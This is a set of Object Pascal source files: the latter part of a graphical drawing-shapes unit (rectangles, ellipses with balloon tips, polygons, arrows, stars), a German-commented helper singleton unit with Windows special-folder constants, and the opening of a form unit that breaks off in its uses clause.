procedure CalcOnlyOrTextOut(CalcOnly: boolean);
var
i: integer;
begin
for i := 0 to aStrings.Count - 1 do
begin
ls := aStrings[i];
if ls = '' then
Inc(YPos, lineHeight)
else
while (ls <> '') and (YPos < YLimit) do
begin
TrimLine(aCanvas, ls, rs, space);
if ls = '' then
exit;
if not CalcOnly then
with aCanvas do
if Centered then
begin
if Angle = 0 then
TextOut(XCenter - TextWidth(ls) div 2, Ypos, ls)
else
RotatedTextAtPt(aCanvas, XCenter - TextWidth(ls) div 2, Ypos, ls);
end
else
begin
if Angle = 0 then
TextOut(BtnPoints[0].X + Padding + Pen.Width, Ypos, ls)
else
RotatedTextAtPt(aCanvas, BtnPoints[0].X + Padding + Pen.Width, Ypos, ls);
end;
Inc(YPos, lineHeight);
ls := rs;
end;
if (YPos >= YLimit) then
break;
end;
end;
begin
with aCanvas do
begin
lineHeight := TextHeight('Yy');
pad := padding + (Pen.Width div 2);
if odd(Pen.Width) then
Inc(pad);
XCenter := (BtnPoints[0].X + BtnPoints[1].X) div 2;
YPos := BtnPoints[0].Y + padding;
YLimit := BtnPoints[1].Y - lineHeight - pad;
space := BtnPoints[1].X - BtnPoints[0].X - pad * 2;
CalcOnlyOrTextOut(True);
i := BtnPoints[1].Y - pad - YPos;
YPos := BtnPoints[0].Y + pad;
if i > 1 then
Inc(YPos, i div 2);
CalcOnlyOrTextOut(False);
end;
end;
procedure TplRectangle.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
tmpRect: TRect;
minRadius: integer;
begin
with acanvas do
begin
tmpRect.TopLeft := BtnPoints[0];
tmpRect.BottomRight := BtnPoints[1];
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
if fRounded and (Angle = 0) then //nb: can't 'round' rotated rectangles
begin
minRadius := min(BtnPoints[4].X - BtnPoints[2].X, BtnPoints[4].Y - BtnPoints[2].Y) div 2;
RoundRect(BtnPoints[2].X, BtnPoints[2].Y, BtnPoints[4].X, BtnPoints[4].Y,
minRadius, minRadius);
end
else
//use polygon for rotation support ...
Polygon([BtnPoints[2], BtnPoints[3], BtnPoints[4], BtnPoints[5]]);
if IsShadow or (Strings.Count = 0) then
exit;
DrawStringsInRect(aCanvas, strings);
end;
end;
function TplRectangle.ResizeObjectToFiTText: boolean;
var
i, w, marg: integer;
size: TSize;
begin
Result := False;
if strings.Count = 0 then
exit;
size.cx := 0;
size.cy := bitmap.canvas.TextHeight('Yy') * Strings.Count;
for i := 0 to Strings.Count - 1 do
begin
w := bitmap.canvas.TextWidth(Strings[i]);
if w > size.cx then
size.cx := w;
end;
marg := (Margin + (Pen.Width div 2) + 1 + Padding);
SetBounds(left, top, size.cx + marg * 2, size.cy + marg * 2);
Result := True;
end;
procedure TplRectangle.SaveToPropStrings;
begin
inherited;
AddToPropStrings('Centered', GetEnumProp(self, 'Centered'));
if Rounded then
AddToPropStrings('Rounded', GetEnumProp(self, 'Rounded'));
end;
// ================ TObjecTplText ===========================
constructor TplText.Create(AOwner: TComponent);
begin
inherited;
Padding := 0;
ShadowSize := -1;
DoSaveInfo;
CanConnect := False;
end;
function TplText.GetStrings: TStrings;
begin
Result := inherited Strings;
end;
procedure TplText.SetStrings(astrings: TStrings);
begin
inherited Strings := astrings;
ResizeObjectToFiTText;
end;
procedure TplText.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
SavedColor: TColor;
stringsToParse: TStrings;
begin
if (Strings.Count = 0) then
stringsToParse := dummyStrings
else
stringsToParse := Strings;
acanvas.Brush.Style := bsClear;
with acanvas do
begin
if IsShadow then
begin
SavedColor := Font.Color;
Font.Color := ColorShadow;
DrawStringsInRect(aCanvas, stringsToParse);
Font.Color := SavedColor;
end
else
DrawStringsInRect(aCanvas, stringsToParse);
end;
end;
// =================== TplEllipse methods ==============================
constructor TplEllipse.Create(AOwner: TComponent);
begin
inherited;
InternalSetCount(15);
SeTplBezierButtons;
DoSaveInfo;
end;
function TplEllipse.ClosestScreenPt(FromScreenPt: TPoint): TPoint;
var
xangle, rotationAngle: single;
FromPt: TPoint;
begin
FromPt := ScreenToClient(FromScreenPt);
if SavedInfo.AngleInDegrees <> 0 then
rotationAngle := SavedInfo.AngleInDegrees * pi / 180
else
rotationAngle := 0;
xangle := GetAnglePt2FromPt1(ObjectMidpoint, FromPt) + rotationAngle;
if xangle > PI_Mul2 then
xangle := xangle - PI_Mul2;
if GetPtOnEllipseFromAngle((BtnPoints[1].X - BtnPoints[0].X) div 2, (BtnPoints[1].Y - BtnPoints[0].Y) div 2, xangle, Result) then
begin
Inc(Result.X, ObjectMidpoint.X);
Inc(Result.Y, ObjectMidpoint.Y);
if SavedInfo.AngleInDegrees <> 0 then
Result := RotatePt(Result, ObjectMidPoint, rotationAngle);
Result := ClientToScreen(Result);
end
else
Result := ClientToScreen(ObjectMidPoint);
end;
procedure TplEllipse.SetBalloonPoint(BalloonPoint: TBalloonPoint);
begin
if Angle <> 0 then
BalloonPoint := bpNone;
if fBalloonPoint = BalloonPoint then
exit;
fBalloonPoint := BalloonPoint;
UpdateNeeded;
end;
procedure TplEllipse.SetAngle(aangle: integer);
begin
if aangle <> 0 then
BalloonPoint := bpNone;
inherited;
end;
procedure TplEllipse.SetRegular(Value: boolean);
begin
if fRegular = Value then
exit;
fRegular := Value;
if not fRegular then
exit;
BtnPoints[1].Y := BtnPoints[0].Y + (BtnPoints[1].X - BtnPoints[0].X);
SavedInfo.AngleInDegrees := 0;
SeTplBezierButtons;
ResizeNeeded;
end;
procedure TplEllipse.DrawStringsInEllipse(acanvas: TbgraCanvas; aStrings: TStrings);
var
rad_horz, rad_vert: integer;
XPos, YPos, XCenter, YCenter, lineHeight, space, vertSpace, pad: integer;
ls, rs: string;
function DoTextOut(DraftOnly: boolean): integer;
var
i, startY: integer;
begin
startY := YPos;
for i := 0 to aStrings.Count - 1 do
begin
if (YPos + lineHeight + pad >= YCenter + rad_vert) then
break;
ls := astrings[i];
if ls = '' then
Inc(YPos, lineHeight)
else
while (ls <> '') and (YPos + lineHeight + pad < YCenter + rad_vert) do
begin
if YCenter > YPos then
begin
if not GeTplEllipseXValFromYVal(rad_horz, rad_vert, YCenter - YPos, XPos) then
break;
end
else
if not GeTplEllipseXValFromYVal(rad_horz, rad_vert, YPos + lineHeight - YCenter, XPos) then
break;
space := (XPos - pad) * 2;
TrimLine(aCanvas, ls, rs, space);
if ls = '' then
break;
if not DraftOnly then
with aCanvas do
if Angle = 0 then
TextOut(XCenter - textwidth(ls) div 2, Ypos, ls)
else
RotatedTextAtPt(aCanvas, XCenter - textwidth(ls) div 2, Ypos, ls);
Inc(YPos, lineHeight);
ls := rs;
end;
end;
Result := YPos - StartY;
end;
function CalcVertSpace: integer;
var
i, cnt: integer;
begin
Result := 0;
cnt := 0;
YPos := YCenter - lineHeight div 2;
for i := 0 to aStrings.Count - 1 do
begin
if (YPos + lineHeight + pad >= YCenter + rad_vert) then
break;
ls := aStrings[i];
if (ls = '') then
begin
Inc(cnt);
if odd(cnt) then
Inc(Ypos, lineheight);
Inc(Result, lineheight);
end
else
while (ls <> '') and (YPos + lineHeight + pad < YCenter + rad_vert) do
begin
if not GeTplEllipseXValFromYVal(rad_horz, rad_vert, YPos + lineHeight - YCenter, XPos) then
break;
space := (XPos - pad) * 2;
TrimLine(aCanvas, ls, rs, space);
ls := rs;
Inc(cnt);
if odd(cnt) then
Inc(YPos, lineHeight);
Inc(Result, lineheight);
end;
end;
end;
begin
with aCanvas do
begin
lineHeight := TextHeight('Yy');
rad_horz := (BtnPoints[1].X - BtnPoints[0].X) div 2;
rad_vert := (BtnPoints[1].Y - BtnPoints[0].Y) div 2;
XCenter := BtnPoints[0].X + rad_horz;
YCenter := BtnPoints[0].Y + rad_vert;
pad := padding + (Pen.Width div 2);
if odd(Pen.Width) then
Inc(pad);
vertSpace := CalcVertSpace;
YPos := YCenter - vertSpace div 2;
vertSpace := DoTextOut(True);
YPos := YCenter - vertSpace div 2;
DoTextOut(False);
end;
end;
procedure TplEllipse.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
var
pt1, pt2, pt3: TPoint;
dx, dy: integer;
SavedClr: TColor;
IsValidPoints: boolean;
//Get2PtsOnEllipse: helper function for Balloon extention drawing.
//Since the balloon tip is in one corner, from that corner (pt1) find the
//intersection pts (pt2 & pt3) of 2 lines and the ellipse where each line is
//either 1/8 distance vertically or 1/8 distance horizontally from that
//corner and passes through the elliptical center ...
function Get2PtsOnEllipse(wPt, hPt: TPoint): boolean;
var
angle1, angle2: single;
mp: TPoint;
begin
mp := Point((BtnPoints[0].X + BtnPoints[1].X) div 2, (BtnPoints[0].Y + BtnPoints[1].Y) div 2);
angle1 := GetAnglePt2FromPt1(mp, hPt);
angle2 := GetAnglePt2FromPt1(mp, wPt);
Result :=
GetPtOnEllipseFromAngle((BtnPoints[1].X - BtnPoints[0].X) div 2, (BtnPoints[1].Y - BtnPoints[0].Y) div 2, angle1, pt2) and
GetPtOnEllipseFromAngle((BtnPoints[1].X - BtnPoints[0].X) div 2, (BtnPoints[1].Y - BtnPoints[0].Y) div 2, angle2, pt3);
with mp do
OffsetPt(pt2, X, Y);
with mp do
OffsetPt(pt3, X, Y);
end;
procedure DrawBalloonExtension;
begin
case fBalloonPoint of
bpTopLeft:
begin
IsValidPoints := Get2PtsOnEllipse(Point(BtnPoints[0].X + round(Width * 1 / 8), BtnPoints[0].Y),
Point(BtnPoints[0].X, BtnPoints[0].Y + round(Height * 1 / 8)));
pt1 := BtnPoints[0];
dx := 1;
dy := 1;
end;
bpTopRight:
begin
IsValidPoints := Get2PtsOnEllipse(Point(BtnPoints[1].X - round(Width * 1 / 8), BtnPoints[0].Y),
Point(BtnPoints[1].X, BtnPoints[0].Y + round(Height * 1 / 8)));
pt1 := Point(BtnPoints[1].X, BtnPoints[0].Y);
dx := -1;
dy := 1;
end;
bpBottomLeft:
begin
IsValidPoints := Get2PtsOnEllipse(Point(BtnPoints[0].X + round(Width * 1 / 8), BtnPoints[1].Y),
Point(BtnPoints[0].X, BtnPoints[1].Y - round(Height * 1 / 8)));
pt1 := Point(BtnPoints[0].X, BtnPoints[1].Y);
dx := 1;
dy := -1;
end;
else
begin
IsValidPoints := Get2PtsOnEllipse(Point(BtnPoints[1].X - round(Width * 1 / 8), BtnPoints[1].Y),
Point(BtnPoints[1].X, BtnPoints[1].Y - round(Height * 1 / 8)));
pt1 := BtnPoints[1];
dx := -1;
dy := -1;
end;
end;
if IsValidPoints then
with acanvas do
begin
if not IsShadow then
begin
SavedClr := pen.Color;
pen.Color := brush.Color;
offsetPt(pt2, dx, dy);
offsetPt(pt3, dx, dy);
polygon([pt1, pt2, pt3]);
pen.Color := SavedClr;
end;
MoveTo(Pt2.X, Pt2.Y);
LineTo(Pt1.X, Pt1.Y);
LineTo(Pt3.X, Pt3.Y);
end;
end;
begin
with acanvas do
begin
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
if SavedInfo.AngleInDegrees <> 0 then
begin
{ TODO -oTC -cLazarus_Port_Step2 : function BeginPath needs to be ported! }
{ TODO -oTC -cLazarus_Test : Add test case to check PolyBezier for rotated ellipses. }
//TCQ
//beginPath(Handle);
PolyBezier([BtnPoints[2], BtnPoints[3], BtnPoints[4], BtnPoints[5], BtnPoints[6], BtnPoints[7], BtnPoints[8], BtnPoints[9], BtnPoints[10],
BtnPoints[11], BtnPoints[12], BtnPoints[13], BtnPoints[14]]);
//EndPath(Handle);
//if Brush.Style = bsClear then
//StrokePath(Handle) else
// StrokeAndFillPath(Handle);
end
else
begin
ellipse(BtnPoints[0].X, BtnPoints[0].Y, BtnPoints[1].X, BtnPoints[1].Y);
if (fBalloonPoint <> bpNone) then
DrawBalloonExtension;
end;
if IsShadow or (Strings.Count = 0) then
exit;
DrawStringsInEllipse(aCanvas, Strings);
end;
end;
function TplEllipse.ResizeObjectToFiTText: boolean;
var
i, w, marg: integer;
size: TSize;
begin
size.cx := 0;
size.cy := bitmap.canvas.TextHeight('Yy') * (Strings.Count + 1);
for i := 0 to Strings.Count - 1 do
begin
w := bitmap.canvas.TextWidth(Strings[i]);
if w > size.cx then
size.cx := w;
end;
marg := (Margin + (Pen.Width div 2) + 1 + Padding);
//nb: sqrt(2) ~= 1.42 (theoretical space required)
SetBounds(left, top, round(size.cx * 1.42) + marg * 2, round(size.cy * 1.42) + marg * 2);
Result := True;
end;
procedure TplEllipse.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
if fRegular then
begin
if BtnIdx = 0 then
begin
BtnPoints[0].X := NewPt.X;
BtnPoints[0].Y := BtnPoints[1].Y - (BtnPoints[1].X - NewPt.X);
end
else
begin
BtnPoints[1].X := NewPt.X;
BtnPoints[1].Y := BtnPoints[0].Y + (NewPt.X - BtnPoints[0].X);
end;
ResizeNeeded;
end
else
inherited;
SeTplBezierButtons;
end;
procedure TplEllipse.SeTplBezierButtons;
const
xoffset: single = 0.27614237; // 2/3*(sqrt(2)-1)
var
midx, midy, offx, offy: integer;
rec: TRect;
begin
rec := Rect(BtnPoints[0].X, BtnPoints[0].Y, BtnPoints[1].X - 1, BtnPoints[1].Y - 1);
with rec do
begin
midx := (right - left) div 2 + left;
midy := (bottom - top) div 2 + top;
offx := round((right - left) * xoffset);
offy := round((bottom - top) * xoffset);
BtnPoints[2] := Point(left, midy);
BtnPoints[3] := Point(left, midy - offy);
BtnPoints[4] := Point(midx - offx, top);
BtnPoints[5] := Point(midx, top);
BtnPoints[6] := Point(midx + offx, top);
BtnPoints[7] := Point(right, midy - offy);
BtnPoints[8] := Point(right, midy);
BtnPoints[9] := Point(right, midy + offy);
BtnPoints[10] := Point(midx + offx, bottom);
BtnPoints[11] := Point(midx, bottom);
BtnPoints[12] := Point(midx - offx, bottom);
BtnPoints[13] := Point(left, midy + offy);
BtnPoints[14] := BtnPoints[2];
if SavedInfo.AngleInDegrees <> 0 then
RotatePts(BtnPoints, 2, Point(midx, midy), SavedInfo.AngleInDegrees * pi / 180);
end;
end;
procedure TplEllipse.Rotate(degrees: integer);
begin
if fRegular then
exit;
inherited;
SeTplBezierButtons;
end;
procedure TplEllipse.SaveToPropStrings;
begin
inherited;
AddToPropStrings('BalloonPoint', GetEnumProp(self, 'BalloonPoint'));
if Regular then
AddToPropStrings('Regular', GetEnumProp(self, 'Regular'));
end;
// ================= TplPolygon =====================================
constructor TplPolygon.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
InternalSetCount(5);
InitializePoints;
end;
procedure TplPolygon.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
begin
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
aCanvas.Polygon(BtnPoints);
end;
function TplPolygon.ClosestScreenPt(FromScreenPt: TPoint): TPoint;
var
i, bestBtnIdx, dist, dist2: integer;
FromPt: TPoint;
begin
FromPt := ScreenToClient(FromScreenPt);
dist := SquaredDistBetweenPoints(FromPt, BtnPoints[0]);
bestBtnIdx := 0;
for i := 1 to ButtonCount - 1 do
begin
dist2 := SquaredDistBetweenPoints(FromPt, BtnPoints[i]);
if dist2 < dist then
begin
dist := dist2;
bestBtnIdx := i;
end;
end;
Result := ClientToScreen(BtnPoints[bestBtnIdx]);
end;
procedure TplPolygon.InitializePoints;
var
radius: integer;
begin
radius := min(Width, Height) div 2 - Margin;
SetPointsAroundCircle(ObjectMidPoint, radius, ButtonCount, BtnPoints);
DoSaveInfo;
end;
function TplPolygon.GetButtonCount: integer;
begin
Result := inherited ButtonCount;
end;
procedure TplPolygon.SetButtonCount(Count: integer);
begin
if (Count < 3) then
exit;
InternalSetCount(Count);
InitializePoints;
ResizeNeeded;
end;
procedure TplPolygon.DuplicateButton(btnIdx: integer);
var
i: integer;
begin
if (btnIdx < 0) then
btnIdx := 0
else if (btnIdx >= ButtonCount) then
btnIdx := ButtonCount - 1;
InternalSetCount(ButtonCount + 1);
for i := ButtonCount - 1 downto btnIdx + 1 do
BtnPoints[i] := BtnPoints[i - 1];
OffsetPt(BtnPoints[btnIdx], -1, -1);
OffsetPt(BtnPoints[btnIdx + 1], 1, 1);
ResizeNeeded;
end;
procedure TplPolygon.RemoveButton(btnIdx: integer);
var
i: integer;
begin
if ButtonCount < 4 then
exit;
if (btnIdx < 0) then
btnIdx := 0
else if (btnIdx >= ButtonCount) then
btnIdx := ButtonCount - 1;
for i := btnIdx to ButtonCount - 2 do
BtnPoints[i] := BtnPoints[i + 1];
InternalSetCount(ButtonCount - 1);
ResizeNeeded;
end;
procedure TplPolygon.Mirror;
var
i: integer;
begin
for i := 0 to ButtonCount - 1 do
BtnPoints[i].X := Width - BtnPoints[i].X;
ResizeNeeded;
end;
procedure TplPolygon.Flip;
var
i: integer;
begin
for i := 0 to ButtonCount - 1 do
BtnPoints[i].Y := Height - BtnPoints[i].Y;
ResizeNeeded;
end;
procedure TplPolygon.SetPlainPoly(isPlainPoly: boolean);
begin
if fPlainPoly = isPlainPoly then
exit;
fPlainPoly := isPlainPoly;
if not fPlainPoly then
exit;
InitializePoints;
ResizeNeeded;
end;
procedure TplPolygon.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
var
radius: integer;
mp: TPoint;
rec: TRect;
begin
if Regular then
begin
mp := ObjectMidPoint;
radius := round(SQRT(SquaredDistBetweenPoints(mp, NewPt)));
SetPointsAroundCircle(mp, radius, ButtonCount, BtnPoints);
//ResizeNeeded() only works for even numbered ButtonCounts
//otherwise ObjectMidPoint moves and causes havoc...
if odd(ButtonCount) then
begin
with rec do
begin
Right := (radius + Margin) * 2;
Bottom := Right;
left := self.Left + mp.X - (radius + Margin);
Top := self.Top + mp.Y - (radius + Margin);
Bitmap.SetSize(right,Bottom);
BlockResize := True; //blocks scaling while resizing Bitmap
try
self.setBounds(Left, Top, Right, Bottom);
finally
BlockResize := False;
end;
end;
UpdateNeeded;
end
else
ResizeNeeded;
end
else
inherited;
end;
function TplPolygon.IsValidBtnDown(BtnIdx: integer): boolean;
begin
Result := not Regular;
end;
procedure TplPolygon.SaveToPropStrings;
begin
inherited;
if Regular then
AddToPropStrings('Regular', GetEnumProp(self, 'Regular'));
end;
// =========== TplSolidArrow =================================
constructor TplSolidArrow.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
InternalSetCount(7);
BtnPoints[0] := Point(Width - Margin, Height div 2);
BtnPoints[1] := Point(Margin + (Width - Margin * 2) div 5, Margin);
BtnPoints[2] := Point(BtnPoints[1].X, Margin + (Height - Margin * 2) div 3);
BtnPoints[3] := Point(Margin, BtnPoints[2].Y);
BtnPoints[4] := Point(Margin, Margin + (Height - Margin * 2) * 2 div 3);
BtnPoints[5] := Point(BtnPoints[1].X, BtnPoints[4].Y);
BtnPoints[6] := Point(BtnPoints[1].X, Height - Margin);
DoSaveInfo;
end;
procedure TplSolidArrow.DrawObject(aCanvas: TbgraCanvas; IsShadow: boolean);
begin
if self.Filled then
aCanvas.Brush.Style:=bsSolid
else
aCanvas.Brush.Style:=bsClear;
aCanvas.Polygon(BtnPoints);
end;
procedure TplSolidArrow.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
//.............................................
procedure AlignPt1;
begin
if (NewPt.Y >= BtnPoints[0].Y) then
NewPt.Y := BtnPoints[0].Y - 1;
BtnPoints[6].Y := 2 * BtnPoints[0].Y - BtnPoints[1].Y;
end;
procedure AlignPt6;
begin
if (NewPt.Y <= BtnPoints[0].Y) then
NewPt.Y := BtnPoints[0].Y + 1;
BtnPoints[1].Y := 2 * BtnPoints[0].Y - BtnPoints[6].Y;
end;
procedure AlignArrowHorz;
begin
BtnPoints[1].X := NewPt.X;
BtnPoints[2].X := NewPt.X;
BtnPoints[5].X := NewPt.X;
BtnPoints[6].X := NewPt.X;
end;
procedure AlignTailTop;
begin
if (NewPt.Y >= BtnPoints[0].Y) then
NewPt.Y := BtnPoints[0].Y - 1;
BtnPoints[2].Y := NewPt.Y;
BtnPoints[3].Y := NewPt.Y;
BtnPoints[4].Y := 2 * BtnPoints[0].Y - BtnPoints[2].Y;
BtnPoints[5].Y := BtnPoints[4].Y;
end;
procedure AlignTailBottom;
begin
if (NewPt.Y <= BtnPoints[0].Y) then
NewPt.Y := BtnPoints[0].Y + 1;
BtnPoints[4].Y := NewPt.Y;
BtnPoints[5].Y := NewPt.Y;
BtnPoints[2].Y := 2 * BtnPoints[0].Y - BtnPoints[4].Y;
BtnPoints[3].Y := BtnPoints[2].Y;
end;
procedure AlignTail;
begin
BtnPoints[3].X := NewPt.X;
BtnPoints[4].X := NewPt.X;
end;
//.............................................
begin
if fWasRotated then
begin
inherited;
exit;
end;
case BtnIdx of
0: NewPt.Y := BtnPoints[0].Y;
1:
begin
AlignPt1;
AlignArrowHorz;
end;
2:
begin
AlignArrowHorz;
AlignTailTop;
end;
3:
begin
AlignTailTop;
AlignTail;
end;
4:
begin
AlignTailBottom;
AlignTail;
end;
5:
begin
AlignArrowHorz;
AlignTailBottom;
end;
6:
begin
AlignPt6;
AlignArrowHorz;
end;
end;
inherited InternalBtnMove(BtnIdx, NewPt);
end;
procedure TplSolidArrow.Rotate(degrees: integer);
begin
inherited Rotate(degrees);
fWasRotated := True;
end;
//=================== TplRandomPoly =======================
procedure TplRandomPoly.Randomize;
begin
InitializePoints;
UpdateNeeded;
end;
procedure TplRandomPoly.InitializePoints;
var
i: integer;
begin
for i := 0 to ButtonCount - 1 do
BtnPoints[i] := Point(system.Random(Width - Margin * 2) + Margin, system.Random(Height - Margin * 2) + Margin);
DoSaveInfo;
end;
procedure TplRandomPoly.SetButtonCount(Count: integer);
begin
if (Count < 3) then
Count := 3;
if Count = ButtonCount then
exit;
InternalSetCount(Count);
InitializePoints;
UpdateNeeded;
end;
// =============== TplStar ============================
constructor TplStar.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
InternalSetCount(18); //nb: NOT similarly named new SetButtonCount() method
InitializePoints;
end;
procedure TplStar.DuplicateButton(btnIdx: integer);
begin
//do nothing
end;
procedure TplStar.RemoveButton(btnIdx: integer);
begin
//do nothing
end;
procedure TplStar.SetButtonCount(Count: integer);
begin
if (Count < 10) then
Count := 10
else if odd(Count) then
Dec(Count);
if Count = ButtonCount then
exit;
InternalSetCount(Count);
InitializePoints;
UpdateNeeded;
end;
procedure TplStar.InitializePoints;
var
i: integer;
radius: integer;
innerCirc: array of TPoint;
begin
radius := min(Width, Height) div 2 - Margin;
SetPointsAroundCircle(ObjectMidPoint, radius, ButtonCount, BtnPoints);
radius := min(Width, Height) div 4 - Margin;
setLength(innerCirc, ButtonCount div 2);
SetPointsAroundCircle(ObjectMidpoint, radius, ButtonCount div 2, innerCirc);
for i := 0 to (ButtonCount div 2) - 1 do
BtnPoints[i * 2] := innerCirc[i];
DoSaveInfo;
end;
procedure TplStar.SetBoringStar(BoringStar: boolean);
begin
if fBoringStar = BoringStar then
exit;
fBoringStar := BoringStar;
if fBoringStar then
InitializePoints;
UpdateNeeded;
end;
procedure TplStar.SetPointsAroundCirc(StartPtIdx: integer; NewPt: TPoint);
var
i, radius: integer;
angle_increment, angle_offset: single;
mp: TPoint;
tmpPts: array of TPoint;
begin
mp := ScreenToClient(fMidPtInScreenCoords);
if PointsEqual(NewPt, mp) then
exit;
radius := round(sqrt(SquaredDistBetweenPoints(NewPt, mp)));
if fBoringStar then
begin
setLength(tmpPts, ButtonCount);
SetPointsAroundCircle(ScreenToClient(fMidPtInScreenCoords),
radius, ButtonCount, tmpPts);
if Odd(StartPtIdx) then
for i := 0 to (ButtonCount div 2) - 1 do
BtnPoints[i * 2 + 1] := tmpPts[i * 2 + 1]
else
for i := 0 to (ButtonCount div 2) - 1 do
BtnPoints[i * 2] := tmpPts[i * 2];
end
else
begin
angle_increment := PI_Mul2 / ButtonCount;
angle_offset := GetAnglePt2FromPt1(mp, NewPt) - angle_increment * StartPtIdx;
if odd(StartPtIdx) then
i := 1
else
i := 0;
while i < ButtonCount do
begin
BtnPoints[i] := GetPtOnCircleFromAngle(radius, i * angle_increment + angle_offset);
OffsetPt(BtnPoints[i], mp.X, mp.Y);
Inc(i, 2);
end;
end;
end;
procedure TplStar.MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: integer);
begin
inherited;
fMidPtInScreenCoords := ClientToScreen(ObjectMidPoint);
end;
procedure TplStar.InternalBtnMove(BtnIdx: integer; NewPt: TPoint);
begin
SetPointsAroundCirc(BtnIdx, NewPt);
ResizeNeeded;
end;
initialization
RegisterDrawObjClasses;
finalization
FreeAndNil(fDummyStrings);
end.
|
unit o_nf;
interface
uses
SysUtils, Classes, o_func, o_system, o_RegIni, o_printer;
// In dieser Unit werden alle erweiterten Befehle der einzelnen Unit's zusammengefasst.
// Es soll dazu dienen den Befehlsaufruf der Bibliotheken zu vereinfachen.
// Diese Unit greiert sich beim Start von selbst und gibt sich beim beenden des Programms
// selbständig wieder frei.
const
cCSIDL_DESKTOP = $0000; { <desktop> }
cCSIDL_INTERNET = $0001; { Internet Explorer (icon on desktop) }
cCSIDL_PROGRAMS = $0002; { Start Menu\Programs }
cCSIDL_CONTROLS = $0003; { My Computer\Control Panel }
cCSIDL_PRINTERS = $0004; { My Computer\Printers }
cCSIDL_PERSONAL = $0005; { My Documents. This is equivalent to CSIDL_MYDOCUMENTS in XP and above }
cCSIDL_FAVORITES = $0006; { <user name>\Favorites }
cCSIDL_STARTUP = $0007; { Start Menu\Programs\Startup }
cCSIDL_RECENT = $0008; { <user name>\Recent }
cCSIDL_SENDTO = $0009; { <user name>\SendTo }
cCSIDL_BITBUCKET = $000a; { <desktop>\Recycle Bin }
cCSIDL_STARTMENU = $000b; { <user name>\Start Menu }
cCSIDL_MYDOCUMENTS = $000c; { logical "My Documents" desktop icon }
cCSIDL_MYMUSIC = $000d; { "My Music" folder }
cCSIDL_MYVIDEO = $000e; { "My Video" folder }
cCSIDL_DESKTOPDIRECTORY = $0010; { <user name>\Desktop }
cCSIDL_DRIVES = $0011; { My Computer }
cCSIDL_NETWORK = $0012; { Network Neighborhood (My Network Places) }
cCSIDL_NETHOOD = $0013; { <user name>\nethood }
cCSIDL_FONTS = $0014; { windows\fonts }
cCSIDL_TEMPLATES = $0015;
cCSIDL_COMMON_STARTMENU = $0016; { All Users\Start Menu }
cCSIDL_COMMON_PROGRAMS = $0017; { All Users\Start Menu\Programs }
cCSIDL_COMMON_STARTUP = $0018; { All Users\Startup }
cCSIDL_COMMON_DESKTOPDIRECTORY = $0019; { All Users\Desktop }
cCSIDL_APPDATA = $001a; { <user name>\Application Data }
cCSIDL_PRINTHOOD = $001b; { <user name>\PrintHood }
cCSIDL_LOCAL_APPDATA = $001c; { <user name>\Local Settings\Application Data (non roaming) }
cCSIDL_ALTSTARTUP = $001d; { non localized startup }
cCSIDL_COMMON_ALTSTARTUP = $001e; { non localized common startup }
cCSIDL_COMMON_FAVORITES = $001f;
cCSIDL_INTERNET_CACHE = $0020;
cCSIDL_COOKIES = $0021;
cCSIDL_HISTORY = $0022;
cCSIDL_COMMON_APPDATA = $0023; { All Users\Application Data }
cCSIDL_WINDOWS = $0024; { GetWindowsDirectory() }
cCSIDL_SYSTEM = $0025; { GetSystemDirectory() }
cCSIDL_PROGRAM_FILES = $0026; { C:\Program Files }
cCSIDL_MYPICTURES = $0027; { C:\Program Files\My Pictures }
cCSIDL_PROFILE = $0028; { USERPROFILE }
cCSIDL_SYSTEMX86 = $0029; { x86 system directory on RISC }
cCSIDL_PROGRAM_FILESX86 = $002a; { x86 C:\Program Files on RISC }
cCSIDL_PROGRAM_FILES_COMMON = $002b; { C:\Program Files\Common }
cCSIDL_PROGRAM_FILES_COMMONX86 = $002c; { x86 C:\Program Files\Common on RISC }
cCSIDL_COMMON_TEMPLATES = $002d; { All Users\Templates }
cCSIDL_COMMON_DOCUMENTS = $002e; { All Users\Documents }
cCSIDL_COMMON_ADMINTOOLS = $002f; { All Users\Start Menu\Programs\Administrative Tools }
cCSIDL_ADMINTOOLS = $0030; { <user name>\Start Menu\Programs\Administrative Tools }
cCSIDL_CONNECTIONS = $0031; { Network and Dial-up Connections }
cCSIDL_COMMON_MUSIC = $0035; { All Users\My Music }
cCSIDL_COMMON_PICTURES = $0036; { All Users\My Pictures }
cCSIDL_COMMON_VIDEO = $0037; { All Users\My Video }
cCSIDL_RESOURCES = $0038; { Resource Directory }
cCSIDL_RESOURCES_LOCALIZED = $0039; { Localized Resource Directory }
cCSIDL_COMMON_OEM_LINKS = $003a; { Links to All Users OEM specific apps }
cCSIDL_CDBURN_AREA = $003b; { USERPROFILE\Local Settings\Application Data\Microsoft\CD Burning }
cCSIDL_COMPUTERSNEARME = $003d; { Computers Near Me (computered from Workgroup membership) }
cCSIDL_PROFILES = $003e;
type
Tnf = class
private
public
func: Tnf_func;
System: Tnf_System;
RegIni: Tnf_RegIni;
Printer: Tnf_printers;
constructor Create;
destructor Destroy; override;
class function GetInstance: Tnf;
end;
implementation
var
instance: Tnf;
{ nf }
constructor Tnf.Create;
begin
func := Tnf_func.Create;
system := Tnf_System.Create;
RegIni := Tnf_RegIni.Create;
Printer := Tnf_printers.Create;
end;
destructor Tnf.Destroy;
begin
FreeAndNil(system);
FreeAndNil(RegIni);
FreeAndNil(func);
FreeAndNil(Printer);
inherited;
end;
class function Tnf.GetInstance: Tnf;
begin
Result := instance;
end;
// Instanz beim Programmstart erzeugen
initialization
instance := Tnf.Create;
// Instanz beim Programmende freigeben
finalization
FreeAndNil(instance);
end.
|
unit uFrmAddInvoiceOBS;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
